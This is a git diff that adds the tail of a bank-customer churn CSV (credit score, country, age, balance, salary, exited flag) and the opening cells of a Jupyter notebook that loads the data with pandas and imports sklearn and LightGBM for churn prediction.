+9715,15681274,Marshall,726,Spain,Female,56,2,105473.74,1,1,1,46044.7,0 +9716,15762573,Bednall,680,Spain,Female,34,7,0,2,1,0,98949.85,0 +9717,15706458,Pan,812,Germany,Male,39,5,115730.71,3,1,1,185599.34,1 +9718,15654222,Ogg,757,Spain,Male,30,3,145396.49,1,0,1,198341.15,0 +9719,15704053,T'ang,710,Spain,Male,62,3,131078.42,2,1,0,119348.76,1 +9720,15724321,Baresi,516,Germany,Female,47,9,128298.74,1,0,0,149614.17,1 +9721,15621815,Obiajulu,803,France,Female,40,6,165526.71,1,1,0,12328.08,0 +9722,15724876,McGregor,560,France,Female,38,5,83714.41,1,1,1,33245.97,0 +9723,15696588,Lung,679,France,Female,36,3,0,2,1,1,2243.41,0 +9724,15612832,Jamieson,526,France,Male,32,7,125540.05,1,0,0,86786.41,0 +9725,15804295,Pinto,485,France,Male,41,2,100254.76,2,1,1,12706.67,0 +9726,15712536,Fallaci,625,France,Female,36,3,0,2,1,0,41295.1,1 +9727,15662494,Goliwe,773,Spain,Male,43,7,138150.57,1,1,1,177357.16,0 +9728,15807728,Ferri,530,France,Female,45,1,0,1,0,1,190663.89,1 +9729,15764916,Rowley,616,Germany,Female,43,7,95984.21,1,0,1,115262.54,1 +9730,15615330,Tretiakova,651,France,Male,23,10,0,2,1,1,170099.23,0 +9731,15638487,She,586,Germany,Male,38,2,136858.42,1,0,1,189143.94,0 +9732,15627859,Nebeolisa,607,Germany,Male,29,7,102609,1,1,0,163257.44,0 +9733,15622192,Young,724,Spain,Male,39,3,0,2,0,1,95562.81,0 +9734,15789413,Fitzgerald,733,France,Male,64,3,0,2,1,1,75272.63,0 +9735,15583221,Arnold,667,Germany,Male,70,3,77356.92,2,1,1,20881.96,0 +9736,15768495,Chidimma,700,France,Female,32,8,110923.15,2,1,1,161845.81,1 +9737,15644103,Wells,659,Spain,Male,78,2,151675.65,1,0,1,49978.67,0 +9738,15741197,Calzada,710,Spain,Male,22,8,0,3,1,0,107292.91,0 +9739,15664547,Black,760,France,Male,37,7,0,1,0,0,32863.24,1 +9740,15797293,Sopuluchukwu,677,France,Female,25,3,0,2,1,0,179608.96,0 +9741,15572021,Ts'ao,798,Germany,Female,29,8,80204.11,2,1,0,70223.22,0 +9742,15637461,Ukaegbunam,758,France,Male,35,7,0,2,1,0,77951.84,0 +9743,15620577,Wood,715,France,Male,45,4,0,2,1,1,55043.93,0 +9744,15609643,Furneaux,752,Germany,Male,32,9,115587.49,2,0,1,101677.46,0 +9745,15785358,Gresswell,586,Germany,Male,46,8,106968.96,1,1,1,79366.98,1 +9746,15603883,Ch'in,818,France,Male,36,4,0,2,1,1,8037.03,0 +9747,15782550,Ma,490,Germany,Female,41,0,139659.04,1,1,1,176254.12,0 +9748,15775761,Iweobiegbunam,610,Germany,Female,69,5,86038.21,3,0,0,192743.06,1 +9749,15680201,Marcelo,627,Germany,Male,24,5,102773.2,2,1,0,56793.02,1 +9750,15767594,Azubuike,533,France,Female,35,8,0,2,1,1,187900.12,0 +9751,15591985,Stewart,708,France,Female,51,8,70754.18,1,1,1,92920.04,1 +9752,15789339,Yen,681,France,Male,59,4,122781.51,1,0,1,140166.95,0 +9753,15781530,Hsieh,690,France,Male,21,8,0,2,1,1,155782.89,0 +9754,15705174,Chiedozie,656,Germany,Male,68,7,153545.11,1,1,1,186574.68,0 +9755,15572114,Shih,673,Spain,Male,40,1,121629.22,1,1,1,3258.6,0 +9756,15804009,Amechi,806,Germany,Male,36,8,167983.17,2,1,1,106714.28,0 +9757,15662698,Ko,648,Spain,Female,43,7,81153.82,1,1,1,144532.85,1 +9758,15696047,Chimezie,501,France,Male,35,6,99760.84,1,1,1,13591.52,0 +9759,15701160,Azubuike,556,Germany,Female,43,4,125890.72,1,1,1,74854.97,0 +9760,15790093,Aguirre,627,France,Female,27,2,0,2,1,0,125451.01,0 +9761,15632143,Lung,652,France,Male,31,2,119148.55,1,0,0,149740.22,0 +9762,15736778,Adams,807,Germany,Female,60,1,72948.58,2,1,1,17355.36,0 +9763,15734917,Castiglione,708,Germany,Male,21,8,133974.36,2,1,0,50294.09,0 +9764,15643903,Yao,619,France,Male,27,1,154483.98,1,1,0,156394.74,0 +9765,15569526,Morales,601,France,Male,40,10,98627.13,2,0,0,77977.69,0 +9766,15777067,Thomas,445,France,Male,64,2,136770.67,1,0,1,43678.06,0 +9767,15795511,Vasiliev,800,Germany,Male,39,4,95252.72,1,1,0,13906.34,0 +9768,15610419,Chukwueloka,554,France,Male,33,3,117413.95,1,1,1,12766.74,0 +9769,15644994,Ko,714,Germany,Male,54,4,137986.58,2,0,1,51308.54,1 +9770,15703707,Atkins,656,France,Male,44,10,143571.52,1,0,0,127444.14,0 +9771,15659327,Moffitt,520,France,Male,49,5,121197.64,1,1,0,72577.33,1 +9772,15771323,Panicucci,480,Spain,Male,39,5,121626.9,1,1,1,82438.13,0 +9773,15750549,Akobundu,660,Germany,Male,30,1,84440.1,2,1,1,60485.98,0 +9774,15698462,Chiu,532,France,Male,36,4,0,2,1,1,132798.78,0 +9775,15739692,Tsui,679,France,Male,42,1,0,2,0,0,71823.15,0 +9776,15744041,Yobanna,780,France,Female,26,3,140356.7,1,1,0,117144.15,0 +9777,15700714,Hollis,747,France,Male,29,7,0,2,1,1,141706.43,0 +9778,15777743,Cattaneo,705,France,Female,39,3,92224.56,1,1,1,54517.25,0 +9779,15623143,Lung,732,France,Female,43,9,0,2,1,0,183147.17,0 +9780,15712568,Angelo,515,Spain,Male,40,10,121355.99,1,1,0,138360.29,0 +9781,15617432,Folliero,816,Germany,Female,40,9,109003.26,1,1,1,79580.56,0 +9782,15650424,Bryant,641,France,Female,48,3,147341.43,1,1,1,157458.61,1 +9783,15728829,Weigel,509,France,Male,18,7,102983.91,1,1,0,171770.58,0 +9784,15680430,Ajuluchukwu,601,Germany,Female,49,4,96252.98,2,1,0,104263.82,0 +9785,15687626,Zhirov,527,France,Male,39,4,0,2,1,0,167183.07,1 +9786,15609187,Cox,455,France,Female,27,5,155879.09,2,0,0,70774.97,0 +9787,15609521,Chimaraoke,803,Germany,Male,34,4,142929.16,2,1,1,114869.56,0 +9788,15752626,Genovese,553,France,Male,32,7,64082.09,1,0,1,109159.58,0 +9789,15571756,Ohearn,724,France,Female,28,5,0,1,1,0,59351.68,0 +9790,15814040,Munroe,610,France,Female,45,1,0,2,1,1,199657.46,0 +9791,15658211,Morrison,559,Spain,Female,39,2,0,2,1,1,121151.1,0 +9792,15742091,Parkhill,825,Germany,Female,35,6,118336.95,1,1,0,26342.33,1 +9793,15787168,Y?,819,Spain,Female,28,8,168253.21,1,1,1,102799.14,0 +9794,15772363,Hilton,772,Germany,Female,42,0,101979.16,1,1,0,90928.48,0 +9795,15659364,Thompson,685,Spain,Male,23,5,164902.43,1,0,0,141152.28,0 +9796,15738980,Yobanna,506,France,Male,43,2,0,2,1,0,105568.6,0 +9797,15794236,Thorpe,642,Germany,Male,22,10,111812.52,2,1,1,183045.46,0 +9798,15721383,Harvey,627,Spain,Male,40,10,0,2,1,1,194792.42,0 +9799,15652981,Robinson,600,Germany,Male,30,2,119755,1,1,1,21852.91,0 +9800,15722731,Manna,653,France,Male,46,0,119556.1,1,1,0,78250.13,1 +9801,15640507,Li,762,Spain,Female,35,3,119349.69,3,1,1,47114.18,1 +9802,15578878,Hancock,569,Spain,Female,30,3,139528.23,1,1,1,33230.37,0 +9803,15744295,Hao,756,France,Male,40,1,94773.11,1,1,0,114279.63,0 +9804,15776558,Nicholls,673,France,Male,31,1,108345.22,1,0,1,38802.03,0 +9805,15596136,Folliero,637,France,Female,36,9,166939.88,1,1,1,72504.76,0 +9806,15704597,Trumbull,644,France,Male,33,7,174571.36,1,0,1,43943.09,0 +9807,15648272,Medvedeva,658,Spain,Male,35,9,71829.34,1,1,1,68141.92,0 +9808,15594915,Crist,649,France,Female,36,8,0,2,0,1,109179.89,0 +9809,15581115,Middleton,603,France,Female,39,9,76769.68,1,0,0,48224.72,0 +9810,15763907,Watts,820,France,Female,39,1,104614.29,1,1,0,61538.43,1 +9811,15705994,Udinese,712,Spain,Male,27,10,0,1,1,0,94544.88,0 +9812,15772421,Tretiakov,645,Germany,Female,31,1,128927.93,1,1,1,2850.01,0 +9813,15711572,O'Kane,705,Germany,Female,31,9,110941.93,2,1,0,163484.8,0 +9814,15691170,Vasilyeva,590,Spain,Female,29,10,99250.08,1,1,1,129629.41,0 +9815,15600106,Wei,631,France,Male,36,1,0,2,0,0,133141.34,0 +9816,15745431,Chinonyelum,604,France,Male,34,7,0,2,1,1,188078.55,0 +9817,15649508,Chin,643,Spain,Male,48,8,0,2,1,0,174729.3,0 +9818,15812611,Lorimer,690,Spain,Female,30,5,0,2,0,1,78700.03,0 +9819,15619699,Yeh,558,France,Male,31,7,0,1,1,0,198269.08,0 +9820,15813946,Duffy,637,Germany,Male,51,1,104682.83,1,1,0,55266.96,1 +9821,15762762,Onyekachukwu,648,Germany,Female,45,5,118886.55,1,0,0,51636.7,0 +9822,15629793,Banks,652,Spain,Male,28,8,156823.7,2,1,0,198251.52,0 +9823,15781298,Hughes,808,Germany,Male,39,3,124216.93,1,0,1,171442.36,0 +9824,15622658,Lai,551,France,Female,26,2,144258.52,1,1,0,49778.79,0 +9825,15658980,Matthews,711,Germany,Male,26,9,128793.63,1,1,0,19262.05,0 +9826,15701936,Bell,467,Germany,Male,28,10,126315.26,1,1,0,32349.29,1 +9827,15686917,Tu,789,Spain,Female,40,4,0,2,1,0,137402.27,0 +9828,15807312,Hsia,602,Spain,Male,33,5,0,2,0,1,64038.34,0 +9829,15574523,Cheng,576,France,Male,39,1,0,2,1,1,68814.23,0 +9830,15724200,Cheng,584,France,Male,38,1,115341.55,1,0,1,173632.92,0 +9831,15738224,Lin,593,France,Male,32,6,99162.29,1,1,0,128384.11,0 +9832,15593283,Higgins,705,Germany,Female,48,1,156848.13,2,1,1,99475.95,1 +9833,15814690,Chukwujekwu,595,Germany,Female,64,2,105736.32,1,1,1,89935.73,1 +9834,15807245,McKay,699,Germany,Female,41,1,200117.76,2,1,0,94142.35,0 +9835,15799358,Vincent,516,France,Female,46,6,62212.29,1,0,1,171681.86,1 +9836,15616172,Ubanwa,838,France,Male,31,2,0,2,1,0,8222.96,0 +9837,15777958,Ch'ien,587,France,Male,39,10,0,2,1,1,170409.45,0 +9838,15809124,T'ien,750,France,Male,38,5,151532.4,1,1,1,46555.15,0 +9839,15616367,Ricci,581,Germany,Male,39,1,121523.51,1,0,0,161655.55,1 +9840,15687385,McDowell,484,France,Male,41,5,0,1,1,1,74267.35,0 +9841,15607877,Maclean,576,Spain,Male,26,8,0,2,0,1,34101.06,0 +9842,15736327,Manna,567,Germany,Female,46,1,68238.51,2,1,1,109572.58,0 +9843,15746704,Jibunoh,638,Spain,Male,30,9,136808.53,2,1,1,106642.97,0 +9844,15778304,Fan,646,Germany,Male,24,0,92398.08,1,1,1,18897.29,0 +9845,15588456,Hsieh,658,France,Female,40,5,143566.12,1,1,1,189607.71,0 +9846,15664035,Parsons,590,Spain,Female,38,9,0,2,1,1,148750.16,0 +9847,15596405,Udinese,546,Spain,Male,25,7,127728.24,2,1,1,105279.74,0 +9848,15815097,Root,603,France,Female,34,9,0,2,1,0,167916.35,0 +9849,15762708,Chiemezie,619,Spain,Female,38,10,119658.49,1,1,1,8646.58,0 +9850,15776211,Toscani,678,France,Female,34,6,0,2,1,1,124592.84,0 +9851,15626012,Obidimkpa,459,France,Male,26,4,149879.66,1,0,0,50016.17,0 +9852,15792077,Degtyaryov,671,Germany,Male,28,8,119859.52,2,1,0,125422.66,0 +9853,15718765,Maclean,501,Spain,Male,43,6,104533.24,1,0,0,81123.59,1 +9854,15576615,Giordano,719,Spain,Male,37,10,145382.61,1,1,0,80408.59,0 +9855,15752650,Saad,681,Spain,Female,37,6,121231.39,1,1,1,146366.08,0 +9856,15797502,Lord,706,Spain,Male,24,2,141078.57,1,1,1,24402.87,0 +9857,15687329,Hope,763,Germany,Female,32,1,108465.65,2,1,0,60552.44,1 +9858,15779423,K?,716,France,Male,39,1,70657.61,2,1,1,76476.05,0 +9859,15619514,Bull,507,Germany,Male,40,3,120105.43,1,1,0,92075.01,1 +9860,15615430,Adams,678,Germany,Male,55,4,129646.91,1,1,1,184125.1,1 +9861,15716431,Brookes,775,France,Female,30,10,191091.74,2,1,1,96170.38,0 +9862,15798341,Victor,544,France,Male,38,8,0,1,1,1,98208.62,0 +9863,15651958,Giles,756,France,Male,27,8,0,2,1,1,157932.75,0 +9864,15726179,Ferrari,757,Germany,Female,43,5,131433.33,2,1,1,3497.43,1 +9865,15652999,Milne,742,Germany,Male,33,1,137937.95,1,1,1,51387.1,0 +9866,15691950,Parry,591,France,Male,49,3,0,2,1,0,50123.44,0 +9867,15632446,Allan,667,France,Male,24,4,0,2,0,0,180329.83,0 +9868,15620936,Warren,787,France,Male,32,4,0,2,1,1,13238.93,0 +9869,15587640,Rowntree,718,France,Female,43,0,93143.39,1,1,0,167554.86,0 +9870,15782231,Andrejew,521,France,Male,38,6,0,2,1,0,51454.06,0 +9871,15580462,Corby,607,Spain,Male,40,1,112544.45,1,1,1,19842.22,0 +9872,15736371,Kennedy,633,France,Female,34,3,123034.43,2,1,1,38315.04,0 +9873,15648032,Young,588,Spain,Male,37,2,0,2,0,1,187816.59,0 +9874,15610454,Poole,724,Germany,Female,33,9,119278.44,1,1,1,197148.24,0 +9875,15671358,Fletcher,720,France,Male,44,4,0,2,1,0,163471.01,0 +9876,15747130,Tsao,521,France,Male,39,7,0,2,0,1,653.58,0 +9877,15578374,Gilroy,620,Spain,Male,36,7,169312.72,1,1,0,45414.09,0 +9878,15572182,Onwuamaeze,505,Germany,Female,33,3,106506.77,3,1,0,45445.78,1 +9879,15770041,Manna,728,Spain,Female,43,8,128412.61,1,0,1,139024.31,0 +9880,15669414,Pisano,486,Germany,Male,62,9,118356.89,2,1,0,168034.83,1 +9881,15777054,Thorpe,584,Germany,Male,42,3,137479.13,1,1,0,25669.1,0 +9882,15621021,Dwyer,687,Spain,Female,40,1,0,2,1,0,8207.36,0 +9883,15785490,Okeke,771,France,Male,50,3,105229.72,1,1,1,16281.68,1 +9884,15577695,Zito,678,France,Male,41,2,148088.11,1,1,0,14083.12,0 +9885,15686974,Sergeyeva,751,France,Female,48,4,0,1,0,1,30165.06,1 +9886,15574584,Fang,670,France,Male,33,8,126679.69,1,1,1,39451.09,0 +9887,15719541,Flannagan,675,Spain,Male,31,2,90826.27,2,1,0,60270.87,0 +9888,15646310,Mao,684,Spain,Male,24,8,143582.89,1,1,1,22527.27,0 +9889,15697606,Sturdee,637,France,Female,21,10,125712.2,1,0,0,175072.47,0 +9890,15711489,Azikiwe,760,Spain,Female,32,2,0,1,1,1,114565.35,0 +9891,15670427,Chidi,662,Spain,Male,37,4,155187.3,1,1,0,48930.8,0 +9892,15731755,Hull,680,France,Male,49,10,0,2,1,0,187008.45,0 +9893,15796370,Shah,604,Spain,Male,40,5,155455.43,1,0,1,113581.85,0 +9894,15598331,Morgan,764,France,Female,40,9,100480.53,1,1,0,124095.69,0 +9895,15704795,Vagin,521,France,Female,77,6,0,2,1,1,49054.1,0 +9896,15796764,Bruno,684,Germany,Female,56,3,127585.98,3,1,1,80593.49,1 +9897,15589420,Osinachi,795,France,Female,40,2,101891.1,1,1,1,183044.86,0 +9898,15810563,Ho,678,Spain,Female,61,8,0,2,1,1,159938.82,0 +9899,15746569,Tsui,589,France,Male,38,4,0,1,1,0,95483.48,1 +9900,15811594,Gordon,660,Spain,Female,28,3,128929.88,1,1,1,198069.71,0 +9901,15645896,Duncan,646,Germany,Male,39,6,121681.91,2,0,1,61793.47,0 +9902,15802909,Hu,706,Germany,Female,56,3,139603.22,1,1,1,86383.61,0 +9903,15797665,Docherty,730,France,Female,27,7,0,2,1,0,144099.48,0 +9904,15778959,Brookes,606,France,Female,36,10,0,2,0,1,155641.46,0 +9905,15722532,Angelo,690,Spain,Female,36,10,91760.11,1,1,1,135784.94,0 +9906,15784124,Emenike,645,Germany,Male,41,2,93925.3,1,1,0,123982.14,1 +9907,15776518,Pugh,579,France,Female,38,4,175739.36,1,1,1,193130.55,0 +9908,15611247,McKenzie,481,France,Female,28,10,0,2,1,0,145215.96,0 +9909,15721469,Mach,492,Germany,Male,45,9,170295.04,2,0,0,164741.81,0 +9910,15773338,Endrizzi,739,France,Male,58,2,101579.28,1,1,1,72168.53,0 +9911,15784042,L?,624,France,Male,55,7,118793.6,1,1,1,95022.02,1 +9912,15776229,MacPherson,682,France,Male,44,3,115282.3,1,0,0,23766.4,0 +9913,15655903,Michael,701,Spain,Female,34,6,107980.37,1,1,1,119374.74,0 +9914,15590177,Chiedozie,718,France,Female,44,1,133866.22,1,0,1,139049.24,0 +9915,15568876,Hughes,496,France,Female,34,1,102723.35,2,1,0,180844.81,0 +9916,15813140,Taylor,543,Spain,Male,41,5,0,2,0,1,143980.29,0 +9917,15770516,Evdokimov,616,Spain,Female,44,7,193213.02,2,1,1,137392.77,0 +9918,15755731,Davis,635,Germany,Male,53,8,117005.55,1,0,1,123646.57,1 +9919,15574480,Ubanwa,652,Spain,Male,31,1,132862.59,1,0,0,158054.49,0 +9920,15798084,Murray,688,France,Male,26,0,0,2,1,0,105784.85,0 +9921,15673020,Smith,678,France,Female,49,3,204510.94,1,0,1,738.88,1 +9922,15643575,Evseev,757,Germany,Male,36,1,65349.71,1,0,0,64539.64,0 +9923,15596811,Mitchell,667,France,Male,36,8,139753.35,1,1,0,79871.16,0 +9924,15786789,Ni,725,France,Female,29,6,0,2,1,1,190776.83,0 +9925,15578865,Palerma,632,Germany,Female,50,5,107959.39,1,1,1,6985.34,1 +9926,15605672,Yuan,694,France,Female,38,5,195926.39,1,1,1,85522.84,0 +9927,15603674,Knight,803,France,Male,36,1,0,2,1,1,149370.93,0 +9928,15759915,Rapuokwu,814,France,Female,31,6,87772.52,1,1,0,188516.45,0 +9929,15686219,Wan,611,France,Male,38,4,71018.6,2,1,0,2444.29,0 +9930,15696388,Artamonova,755,Germany,Male,38,4,111096.91,1,1,1,19762.88,0 +9931,15713604,Rossi,425,Germany,Male,40,9,166776.6,2,0,1,172646.88,0 +9932,15647800,Greco,850,France,Female,34,6,101266.51,1,1,0,33501.98,0 +9933,15813451,Fleetwood-Smith,677,Spain,Male,18,8,134796.87,2,1,1,114858.9,0 +9934,15765375,Butusov,797,France,Female,46,8,0,1,0,0,162668.33,0 +9935,15774586,West,692,Germany,Female,43,10,118588.83,1,1,1,161241.65,1 +9936,15603454,Sanders,735,Germany,Male,28,5,160454.15,2,0,1,114957.22,0 +9937,15653037,Parks,609,France,Male,77,1,0,1,0,1,18708.76,0 +9938,15782475,Edith,700,France,Female,42,8,0,2,1,1,105305.72,0 +9939,15593496,Korovin,526,Spain,Female,36,5,91132.18,1,0,0,58111.71,0 +9940,15808971,Lajoie,693,Spain,Female,57,9,0,2,1,1,135502.77,0 +9941,15791972,Bergamaschi,748,France,Female,20,7,0,2,0,0,10792.42,0 +9942,15676869,T'ien,657,Spain,Male,36,8,0,2,0,1,123866.43,0 +9943,15683007,Torode,739,Germany,Female,25,5,113113.12,1,1,0,129181.27,0 +9944,15659495,Fu,784,Spain,Male,23,2,0,1,1,1,6847.73,0 +9945,15703923,Cameron,744,Germany,Male,41,7,190409.34,2,1,1,138361.48,0 +9946,15674000,Cattaneo,645,France,Male,44,10,0,2,0,1,166707.22,0 +9947,15618171,James,669,France,Female,33,9,0,2,0,1,107221.03,0 +9948,15732202,Abramovich,615,France,Male,34,1,83503.11,2,1,1,73124.53,1 +9949,15735078,Onwughara,724,Germany,Female,53,1,139687.66,2,1,1,12913.92,0 +9950,15798615,Wan,850,France,Female,47,9,137301.87,1,1,0,44351.77,0 +9951,15638494,Salinas,625,Germany,Female,39,10,129845.26,1,1,1,96444.88,0 +9952,15763874,Ho,635,Spain,Male,46,8,0,2,1,1,60739.16,0 +9953,15696355,Cleveland,724,Germany,Male,37,6,125489.4,1,1,0,118570.53,0 +9954,15655952,Burke,550,France,Male,47,2,0,2,1,1,97057.28,0 +9955,15739850,Trentino,645,France,Male,45,6,155417.61,1,0,1,3449.22,0 +9956,15611338,Kashiwagi,714,Spain,Male,29,4,0,2,1,1,37605.9,0 +9957,15707861,Nucci,520,France,Female,46,10,85216.61,1,1,0,117369.52,1 +9958,15672237,Oluchi,633,France,Male,25,1,0,1,1,0,100598.98,0 +9959,15657771,Ts'ui,537,France,Male,37,6,0,1,1,1,17802.42,0 +9960,15677783,Graham,764,Spain,Male,38,4,113607.47,1,1,0,91094.46,0 +9961,15681026,Lucciano,795,Germany,Female,33,9,104552.72,1,1,1,120853.83,1 +9962,15566543,Aldridge,573,Spain,Male,44,9,0,2,1,0,107124.17,0 +9963,15594612,Flynn,702,Spain,Male,44,9,0,1,0,0,59207.41,1 +9964,15814664,Scott,740,Germany,Male,33,2,126524.11,1,1,0,136869.31,0 +9965,15642785,Douglas,479,France,Male,34,5,117593.48,2,0,0,113308.29,0 +9966,15690164,Shao,627,Germany,Female,33,4,83199.05,1,0,0,159334.93,0 +9967,15590213,Ch'en,479,Spain,Male,35,4,125920.98,1,1,1,20393.44,0 +9968,15603794,Pugliesi,623,France,Male,48,5,118469.38,1,1,1,158590.25,0 +9969,15733491,McGregor,512,Germany,Female,40,8,153537.57,2,0,0,23101.13,0 +9970,15806360,Hou,609,France,Male,41,6,0,1,0,1,112585.19,0 +9971,15587133,Thompson,518,France,Male,42,7,151027.05,2,1,0,119377.36,0 +9972,15721377,Chou,833,France,Female,34,3,144751.81,1,0,0,166472.81,0 +9973,15747927,Ch'in,758,France,Male,26,4,155739.76,1,1,0,171552.02,0 +9974,15806455,Miller,611,France,Male,27,7,0,2,1,1,157474.1,0 +9975,15695474,Barker,583,France,Male,33,7,122531.86,1,1,0,13549.24,0 +9976,15666295,Smith,610,Germany,Male,50,1,113957.01,2,1,0,196526.55,1 +9977,15656062,Azikiwe,637,France,Female,33,7,103377.81,1,1,0,84419.78,0 +9978,15579969,Mancini,683,France,Female,32,9,0,2,1,1,24991.92,0 +9979,15703563,P'eng,774,France,Male,40,9,93017.47,2,1,0,191608.97,0 +9980,15692664,Diribe,677,France,Female,58,1,90022.85,1,0,1,2988.28,0 +9981,15719276,T'ao,741,Spain,Male,35,6,74371.49,1,0,0,99595.67,0 +9982,15672754,Burbidge,498,Germany,Male,42,3,152039.7,1,1,1,53445.17,1 +9983,15768163,Griffin,655,Germany,Female,46,7,137145.12,1,1,0,115146.4,1 +9984,15656710,Cocci,613,France,Male,40,4,0,1,0,0,151325.24,0 +9985,15696175,Echezonachukwu,602,Germany,Male,35,7,90602.42,2,1,1,51695.41,0 +9986,15586914,Nepean,659,France,Male,36,6,123841.49,2,1,0,96833,0 +9987,15581736,Bartlett,673,Germany,Male,47,1,183579.54,2,0,1,34047.54,0 +9988,15588839,Mancini,606,Spain,Male,30,8,180307.73,2,1,1,1914.41,0 +9989,15589329,Pirozzi,775,France,Male,30,4,0,2,1,0,49337.84,0 +9990,15605622,McMillan,841,Spain,Male,28,4,0,2,1,1,179436.6,0 +9991,15798964,Nkemakonam,714,Germany,Male,33,3,35016.6,1,1,0,53667.08,0 +9992,15769959,Ajuluchukwu,597,France,Female,53,4,88381.21,1,1,0,69384.71,1 +9993,15657105,Chukwualuka,726,Spain,Male,36,2,0,1,1,0,195192.4,0 +9994,15569266,Rahman,644,France,Male,28,7,155060.41,1,1,0,29179.52,0 +9995,15719294,Wood,800,France,Female,29,2,0,2,0,0,167773.55,0 +9996,15606229,Obijiaku,771,France,Male,39,5,0,2,1,0,96270.64,0 +9997,15569892,Johnstone,516,France,Male,35,10,57369.61,1,1,1,101699.77,0 +9998,15584532,Liu,709,France,Female,36,7,0,1,0,1,42085.58,1 +9999,15682355,Sabbatini,772,Germany,Male,42,3,75075.31,2,1,0,92888.52,1 +10000,15628319,Walker,792,France,Female,28,4,130142.79,1,1,0,38190.78,0 diff --git a/machine-learning/customer-churn-detection/Customer_Churn_Detection.ipynb b/machine-learning/customer-churn-detection/Customer_Churn_Detection.ipynb new file mode 100644 index 00000000..ac550b72 --- /dev/null +++ b/machine-learning/customer-churn-detection/Customer_Churn_Detection.ipynb @@ -0,0 +1,3963 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [], + "source": [ + "import pandas as pd\n", + "import numpy as np\n", + "import matplotlib.pyplot as plt\n", + "import seaborn as sns\n", + "from sklearn.preprocessing import LabelEncoder, OneHotEncoder, StandardScaler\n", + "from sklearn.feature_selection import RFE\n", + "from sklearn.linear_model import LogisticRegression\n", + "from sklearn.svm import SVC\n", + "from sklearn.decomposition import PCA\n", + "from sklearn.tree import DecisionTreeClassifier, export_graphviz\n", + "from sklearn.pipeline import Pipeline\n", + "from sklearn.model_selection import train_test_split\n", + "from lightgbm import LGBMClassifier\n", + "from sklearn.metrics import roc_auc_score, recall_score, confusion_matrix, classification_report \n", + "import subprocess\n", + "import joblib\n", + "# Get multiple outputs in the same cell\n", + "from IPython.core.interactiveshell import InteractiveShell\n", + "InteractiveShell.ast_node_interactivity = \"all\"\n", + "# Ignore all warnings\n", + "import warnings\n", + "warnings.filterwarnings('ignore')\n", + "warnings.filterwarnings(action='https://github.com/ignore', category=DeprecationWarning)\n", + "pd.set_option('display.max_columns', None)\n", + "pd.set_option('display.max_rows', None)" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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RowNumberCustomerIdSurnameCreditScoreGeographyGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExited
0115634602Hargrave619FranceFemale4220.00111101348.881
1215647311Hill608SpainFemale41183807.86101112542.580
2315619304Onio502FranceFemale428159660.80310113931.571
3415701354Boni699FranceFemale3910.0020093826.630
4515737888Mitchell850SpainFemale432125510.8211179084.100
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" + ], + "text/plain": [ + " RowNumber CustomerId Surname CreditScore Geography Gender Age \\\n", + "0 1 15634602 Hargrave 619 France Female 42 \n", + "1 2 15647311 Hill 608 Spain Female 41 \n", + "2 3 15619304 Onio 502 France Female 42 \n", + "3 4 15701354 Boni 699 France Female 39 \n", + "4 5 15737888 Mitchell 850 Spain Female 43 \n", + "\n", + " Tenure Balance NumOfProducts HasCrCard IsActiveMember \\\n", + "0 2 0.00 1 1 1 \n", + "1 1 83807.86 1 0 1 \n", + "2 8 159660.80 3 1 0 \n", + "3 1 0.00 2 0 0 \n", + "4 2 125510.82 1 1 1 \n", + "\n", + " EstimatedSalary Exited \n", + "0 101348.88 1 \n", + "1 112542.58 0 \n", + "2 113931.57 1 \n", + "3 93826.63 0 \n", + "4 79084.10 0 " + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Reading the dataset\n", + "dc = pd.read_csv(\"Churn_Modelling.csv\")\n", + "dc.head(5) " + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "(10000, 14)" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Dimension of the dataset\n", + "dc.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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2389Scott290.103448
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FqXfv3iorK1NVVZXV2QAANomoHD59L2np5l3ePjsGALh/RHRUecKECdq6dav8fr9OnDihXbt2adKkSVZnAwDYJKKv/7fuH52UlKRt27bp4Ycf1gsvvGB1NgCATSKaOWzfvl0rVqzQc889Z3UeAEAUiGjmcOzYMYtjAACiSUQzh7S0NC1cuFDjxo1TYmJiaPypp56yLBgAwD4RlUO/fv0kSZcvX1YgEJDL5bIyEwDAZmHL4caNGyotLdWMGTM0ffp0SdKSJUsUHx+vTZs23ZOAAIB7L+wxh+3bt8vr9Wrs2LGhsY0bN+ratWt69dVXLQ8HALBH2HI4duyYfvazn2ngwIGhsdTUVG3ZsoWb/QDAfSxsOTidTvXq1cs03qdPH8XHx1sWCgBgr7DlEBMTI6/Xaxr3er1qb2+3LBQAwF5hy+Hb3/62SkpK1NraGhprbW1VSUmJHn30UcvDAQDsEbYcFixYoKSkJE2ePFlPPPGECgoKNHnyZPXt25ezpQHgPhb2p6wxMTH6yU9+oiVLlujcuXOKiYnRqFGjlJqaeq/yAQBsEPEZ0mlpaVZnAQBECW7KAAAwiWjmcKcKCwvV2NiouLibL7Nx40b9+9//1uuvv662tjYVFRVp/vz5kqTy8nK53W4FAgHl5eWpuLjYymgAgDAsKwfDMFRdXa1jx46FyqG2tlbFxcV64403FB8fr+9973uaNGmS0tLStGbNGu3cuVODBg3SkiVLdPz4cU2ZMsWqeACAMCwrh+rqajkcDi1evFiNjY164oknlJiYqK9//euhC/nl5OTI4/Fo4sSJSk9P15AhQyRJs2fPlsfjoRwAwCaWHXO4du2asrKy9Nprr+kPf/iDdu/erStXrig5OTm0T0pKimpra1VXV3fbcQCAPSybOYwdOzZ0wb6EhAQVFBTI7XbrmWee6bSfw+GQYRimv3c4HN16vcrKyjsPC1ikpaVFklRRUWFzEqB7LCuHs2fPqq2tTVlZWZJuHoMYPHiwGhoaQvvU1dUpJSVFqamptx3vjoyMDO4zgaizb98+SVJmZqbNSYDOAoFA2C/Vli0rtbS0aMuWLQoEAvJ6vXrzzTe1detWvf/++7p69aquX7+uv/71r8rOztbo0aN18eJF1dTUKBgM6uDBg8rOzrYqGgCgC5bNHKZOnap//vOfevzxx9XR0aF58+YpMzNTxcXFKiwsVFtbmwoKCvS1r31NkrR582YtW7ZMgUBAU6ZMUW5urlXRAABdcBi3W/D